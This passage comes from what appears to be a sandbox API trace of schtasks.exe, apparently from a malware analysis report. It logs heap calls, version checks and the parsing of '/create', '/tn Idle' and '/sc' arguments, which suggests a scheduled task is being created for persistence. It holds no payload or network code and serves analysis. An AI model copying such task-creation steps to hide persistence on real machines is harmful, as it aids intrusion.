= "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2230 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2231 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 121 os_tid = 0xf24 [0133.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffba0 | out: lpSystemTimeAsFileTime=0xffba0*(dwLowDateTime=0x1ecbf040, dwHighDateTime=0x1d8a92a)) [0133.882] GetCurrentProcessId () returned 0xf20 [0133.882] GetCurrentThreadId () returned 0xf24 [0133.882] GetTickCount () returned 0x1386e81 [0133.882] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xffba8 | out: lpPerformanceCount=0xffba8*=2061274521826) returned 1 [0133.882] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0133.882] __set_app_type (_Type=0x1) [0133.882] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0133.883] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0133.884] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0133.884] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0133.884] _onexit (_Func=0xff152afc) returned 0xff152afc [0133.884] _onexit (_Func=0xff152b58) returned 0xff152b58 [0133.884] _onexit (_Func=0xff152b80) returned 0xff152b80 [0133.884] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0133.885] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0133.885] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0133.885] _onexit (_Func=0xff152c20) returned 0xff152c20 [0133.885] _onexit (_Func=0xff152c48) returned 0xff152c48 [0133.885] _onexit (_Func=0xff152c70) returned 0xff152c70 [0133.885] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0133.885] WinSqmIsOptedIn () returned 0x0 [0133.886] GetProcessHeap () returned 0x150000 [0133.886] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16b960 [0133.887] SetLastError (dwErrCode=0x0) [0133.887] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0133.887] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0133.887] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0133.887] VerifyVersionInfoW (in: lpVersionInformation=0xff360, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xff360) returned 1 [0133.887] GetProcessHeap () returned 0x150000 [0133.887] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16b980 [0133.887] lstrlenW (lpString="") returned 0 [0133.887] GetProcessHeap () returned 0x150000 [0133.887] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x2) returned 0x16b9a0 [0133.887] GetProcessHeap () returned 0x150000 [0133.887] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165900 [0133.887] GetProcessHeap () returned 0x150000 [0133.887] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16b9c0 [0133.887] GetProcessHeap () returned 0x150000 [0133.887] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165930 [0133.887] GetProcessHeap () returned 0x150000 [0133.887] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165960 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165990 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x1659c0 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16b9e0 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x1659f0 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165a20 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165a50 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165a80 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba00 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165ab0 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165ae0 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165b10 [0133.888] GetProcessHeap () returned 0x150000 [0133.888] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165b40 [0133.888] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0133.889] SetLastError (dwErrCode=0x0) [0133.889] GetProcessHeap () returned 0x150000 [0133.889] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165b70 [0133.889] GetProcessHeap () returned 0x150000 [0133.889] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165ba0 [0133.889] GetProcessHeap () returned 0x150000 [0133.889] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165bd0 [0133.889] GetProcessHeap () returned 0x150000 [0133.889] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165c00 [0133.889] GetProcessHeap () returned 0x150000 [0133.889] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165c30 [0133.890] GetProcessHeap () returned 0x150000 [0133.890] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba20 [0133.890] _memicmp (_Buf1=0x16ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.890] GetProcessHeap () returned 0x150000 [0133.890] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x208) returned 0x16bbc0 [0133.890] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x16bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0133.890] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0133.893] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0133.893] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0133.894] GetProcessHeap () returned 0x150000 [0133.894] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x74e) returned 0x16c170 [0133.894] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0133.894] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x16c170 | out: lpData=0x16c170) returned 1 [0133.894] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0133.894] VerQueryValueW (in: pBlock=0x16c170, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xff448, puLen=0xff4b0 | out: lplpBuffer=0xff448*=0x16c50c, puLen=0xff4b0) returned 1 [0133.903] _memicmp (_Buf1=0x16ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.903] _vsnwprintf (in: _Buffer=0x16bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xff428 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0133.903] VerQueryValueW (in: pBlock=0x16c170, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xff4b8, puLen=0xff4a8 | out: lplpBuffer=0xff4b8*=0x16c338, puLen=0xff4a8) returned 1 [0133.903] lstrlenW (lpString="schtasks.exe") returned 12 [0133.903] lstrlenW (lpString="schtasks.exe") returned 12 [0133.903] lstrlenW (lpString=".EXE") returned 4 [0133.903] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0133.904] lstrlenW (lpString="schtasks.exe") returned 12 [0133.904] lstrlenW (lpString=".EXE") returned 4 [0133.905] _memicmp (_Buf1=0x16ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.905] lstrlenW (lpString="schtasks") returned 8 [0133.905] GetProcessHeap () returned 0x150000 [0133.905] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165d20 [0133.905] GetProcessHeap () returned 0x150000 [0133.905] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ca80 [0133.905] GetProcessHeap () returned 0x150000 [0133.905] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cab0 [0133.905] GetProcessHeap () returned 0x150000 [0133.905] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cae0 [0133.905] GetProcessHeap () returned 0x150000 [0133.905] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba40 [0133.905] _memicmp (_Buf1=0x16ba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.905] GetProcessHeap () returned 0x150000 [0133.905] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xa0) returned 0x16bfc0 [0133.905] GetProcessHeap () returned 0x150000 [0133.905] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cb10 [0133.906] GetProcessHeap () returned 0x150000 [0133.906] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cb40 [0133.906] GetProcessHeap () returned 0x150000 [0133.906] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cb70 [0133.906] GetProcessHeap () returned 0x150000 [0133.906] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba60 [0133.906] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.906] GetProcessHeap () returned 0x150000 [0133.906] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x200) returned 0x16d250 [0133.906] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0133.906] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0133.906] GetProcessHeap () returned 0x150000 [0133.906] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x30) returned 0x167a20 [0133.906] _vsnwprintf (in: _Buffer=0x16bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xff428 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0133.906] GetProcessHeap () returned 0x150000 [0133.906] GetProcessHeap () returned 0x150000 [0133.907] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c170) returned 1 [0133.907] GetProcessHeap () returned 0x150000 [0133.907] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c170) returned 0x74e [0133.907] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c170 | out: hHeap=0x150000) returned 1 [0133.907] SetLastError (dwErrCode=0x0) [0133.907] GetThreadLocale () returned 0x409 [0133.907] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] lstrlenW (lpString="?") returned 1 [0133.908] GetThreadLocale () returned 0x409 [0133.908] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] lstrlenW (lpString="create") returned 6 [0133.908] GetThreadLocale () returned 0x409 [0133.908] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] lstrlenW (lpString="delete") returned 6 [0133.908] GetThreadLocale () returned 0x409 [0133.908] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] lstrlenW (lpString="query") returned 5 [0133.908] GetThreadLocale () returned 0x409 [0133.908] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] lstrlenW (lpString="change") returned 6 [0133.908] GetThreadLocale () returned 0x409 [0133.908] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] lstrlenW (lpString="run") returned 3 [0133.908] GetThreadLocale () returned 0x409 [0133.908] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] lstrlenW (lpString="end") returned 3 [0133.908] GetThreadLocale () returned 0x409 [0133.908] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] lstrlenW (lpString="showsid") returned 7 [0133.908] GetThreadLocale () returned 0x409 [0133.908] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.908] SetLastError (dwErrCode=0x0) [0133.908] SetLastError (dwErrCode=0x0) [0133.908] lstrlenW (lpString="/create") returned 7 [0133.908] lstrlenW (lpString="-/") returned 2 [0133.909] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.909] lstrlenW (lpString="?") returned 1 [0133.909] lstrlenW (lpString="?") returned 1 [0133.909] GetProcessHeap () returned 0x150000 [0133.909] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16c170 [0133.909] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.909] GetProcessHeap () returned 0x150000 [0133.909] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xa) returned 0x16c190 [0133.909] lstrlenW (lpString="create") returned 6 [0133.909] GetProcessHeap () returned 0x150000 [0133.909] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16c1b0 [0133.909] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.909] GetProcessHeap () returned 0x150000 [0133.909] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x14) returned 0x16c1d0 [0133.909] _vsnwprintf (in: _Buffer=0x16c190, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|?|") returned 3 [0133.909] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|create|") returned 8 [0133.909] lstrlenW (lpString="|?|") returned 3 [0133.909] lstrlenW (lpString="|create|") returned 8 [0133.909] SetLastError (dwErrCode=0x490) [0133.909] lstrlenW (lpString="create") returned 6 [0133.909] lstrlenW (lpString="create") returned 6 [0133.909] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.909] GetProcessHeap () returned 0x150000 [0133.909] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c190) returned 1 [0133.909] GetProcessHeap () returned 0x150000 [0133.909] RtlReAllocateHeap (Heap=0x150000, Flags=0xc, Ptr=0x16c190, Size=0x14) returned 0x16c1f0 [0133.909] lstrlenW (lpString="create") returned 6 [0133.910] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.910] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|create|") returned 8 [0133.910] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|create|") returned 8 [0133.910] lstrlenW (lpString="|create|") returned 8 [0133.910] lstrlenW (lpString="|create|") returned 8 [0133.910] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0133.910] SetLastError (dwErrCode=0x0) [0133.910] SetLastError (dwErrCode=0x0) [0133.910] SetLastError (dwErrCode=0x0) [0133.910] lstrlenW (lpString="/tn") returned 3 [0133.910] lstrlenW (lpString="-/") returned 2 [0133.910] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.910] lstrlenW (lpString="?") returned 1 [0133.910] lstrlenW (lpString="?") returned 1 [0133.910] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.910] lstrlenW (lpString="tn") returned 2 [0133.910] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.910] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|?|") returned 3 [0133.910] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tn|") returned 4 [0133.910] lstrlenW (lpString="|?|") returned 3 [0133.910] lstrlenW (lpString="|tn|") returned 4 [0133.910] SetLastError (dwErrCode=0x490) [0133.910] lstrlenW (lpString="create") returned 6 [0133.910] lstrlenW (lpString="create") returned 6 [0133.910] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.911] lstrlenW (lpString="tn") returned 2 [0133.911] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.911] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|create|") returned 8 [0133.911] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tn|") returned 4 [0133.911] lstrlenW (lpString="|create|") returned 8 [0133.911] lstrlenW (lpString="|tn|") returned 4 [0133.911] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0133.911] SetLastError (dwErrCode=0x490) [0133.911] lstrlenW (lpString="delete") returned 6 [0133.911] lstrlenW (lpString="delete") returned 6 [0133.911] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.911] lstrlenW (lpString="tn") returned 2 [0133.911] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.911] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|delete|") returned 8 [0133.911] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tn|") returned 4 [0133.911] lstrlenW (lpString="|delete|") returned 8 [0133.911] lstrlenW (lpString="|tn|") returned 4 [0133.911] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0133.911] SetLastError (dwErrCode=0x490) [0133.911] lstrlenW (lpString="query") returned 5 [0133.912] lstrlenW (lpString="query") returned 5 [0133.912] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.912] lstrlenW (lpString="tn") returned 2 [0133.912] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.912] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|query|") returned 7 [0133.912] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tn|") returned 4 [0133.912] lstrlenW (lpString="|query|") returned 7 [0133.912] lstrlenW (lpString="|tn|") returned 4 [0133.912] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0133.912] SetLastError (dwErrCode=0x490) [0133.912] lstrlenW (lpString="change") returned 6 [0133.912] lstrlenW (lpString="change") returned 6 [0133.912] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.912] lstrlenW (lpString="tn") returned 2 [0133.912] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.912] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|change|") returned 8 [0133.912] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tn|") returned 4 [0133.912] lstrlenW (lpString="|change|") returned 8 [0133.912] lstrlenW (lpString="|tn|") returned 4 [0133.912] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0133.912] SetLastError (dwErrCode=0x490) [0133.912] lstrlenW (lpString="run") returned 3 [0133.912] lstrlenW (lpString="run") returned 3 [0133.912] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.912] lstrlenW (lpString="tn") returned 2 [0133.913] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.913] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|run|") returned 5 [0133.913] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tn|") returned 4 [0133.913] lstrlenW (lpString="|run|") returned 5 [0133.913] lstrlenW (lpString="|tn|") returned 4 [0133.913] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0133.913] SetLastError (dwErrCode=0x490) [0133.913] lstrlenW (lpString="end") returned 3 [0133.913] lstrlenW (lpString="end") returned 3 [0133.913] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.913] lstrlenW (lpString="tn") returned 2 [0133.913] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.913] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|end|") returned 5 [0133.913] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tn|") returned 4 [0133.913] lstrlenW (lpString="|end|") returned 5 [0133.913] lstrlenW (lpString="|tn|") returned 4 [0133.913] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0133.913] SetLastError (dwErrCode=0x490) [0133.913] lstrlenW (lpString="showsid") returned 7 [0133.913] lstrlenW (lpString="showsid") returned 7 [0133.913] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.913] GetProcessHeap () returned 0x150000 [0133.913] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1f0) returned 1 [0133.913] GetProcessHeap () returned 0x150000 [0133.913] RtlReAllocateHeap (Heap=0x150000, Flags=0xc, Ptr=0x16c1f0, Size=0x16) returned 0x16c1f0 [0133.914] lstrlenW (lpString="tn") returned 2 [0133.914] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.914] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|showsid|") returned 9 [0133.914] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tn|") returned 4 [0133.914] lstrlenW (lpString="|showsid|") returned 9 [0133.914] lstrlenW (lpString="|tn|") returned 4 [0133.914] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0133.914] SetLastError (dwErrCode=0x490) [0133.914] SetLastError (dwErrCode=0x490) [0133.914] SetLastError (dwErrCode=0x0) [0133.914] lstrlenW (lpString="/tn") returned 3 [0133.914] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0133.914] SetLastError (dwErrCode=0x490) [0133.914] SetLastError (dwErrCode=0x0) [0133.914] lstrlenW (lpString="/tn") returned 3 [0133.914] GetProcessHeap () returned 0x150000 [0133.914] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x8) returned 0x16c190 [0133.914] GetProcessHeap () returned 0x150000 [0133.914] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cba0 [0133.914] SetLastError (dwErrCode=0x0) [0133.914] SetLastError (dwErrCode=0x0) [0133.914] lstrlenW (lpString="Idle") returned 4 [0133.914] lstrlenW (lpString="-/") returned 2 [0133.914] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0133.914] SetLastError (dwErrCode=0x490) [0133.914] SetLastError (dwErrCode=0x490) [0133.914] SetLastError (dwErrCode=0x0) [0133.914] lstrlenW (lpString="Idle") returned 4 [0133.915] StrChrIW (lpStart="Idle", wMatch=0x3a) returned 0x0 [0133.915] SetLastError (dwErrCode=0x490) [0133.915] SetLastError (dwErrCode=0x0) [0133.915] lstrlenW (lpString="Idle") returned 4 [0133.915] GetProcessHeap () returned 0x150000 [0133.915] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xa) returned 0x16d490 [0133.915] GetProcessHeap () returned 0x150000 [0133.915] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cbd0 [0133.915] SetLastError (dwErrCode=0x0) [0133.915] SetLastError (dwErrCode=0x0) [0133.915] lstrlenW (lpString="/sc") returned 3 [0133.915] lstrlenW (lpString="-/") returned 2 [0133.915] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.915] lstrlenW (lpString="?") returned 1 [0133.915] lstrlenW (lpString="?") returned 1 [0133.915] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.915] lstrlenW (lpString="sc") returned 2 [0133.915] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.915] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|?|") returned 3 [0133.915] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|sc|") returned 4 [0133.915] lstrlenW (lpString="|?|") returned 3 [0133.915] lstrlenW (lpString="|sc|") returned 4 [0133.915] SetLastError (dwErrCode=0x490) [0133.915] lstrlenW (lpString="create") returned 6 [0133.915] lstrlenW (lpString="create") returned 6 [0133.915] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.915] lstrlenW (lpString="sc") returned 2 [0133.915] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.916] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|create|") returned 8 [0133.916] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|sc|") returned 4 [0133.916] lstrlenW (lpString="|create|") returned 8 [0133.916] lstrlenW (lpString="|sc|") returned 4 [0133.916] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0133.916] SetLastError (dwErrCode=0x490) [0133.916] lstrlenW (lpString="delete") returned 6 [0133.916] lstrlenW (lpString="delete") returned 6 [0133.916] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.916] lstrlenW (lpString="sc") returned 2 [0133.916] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.916] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: 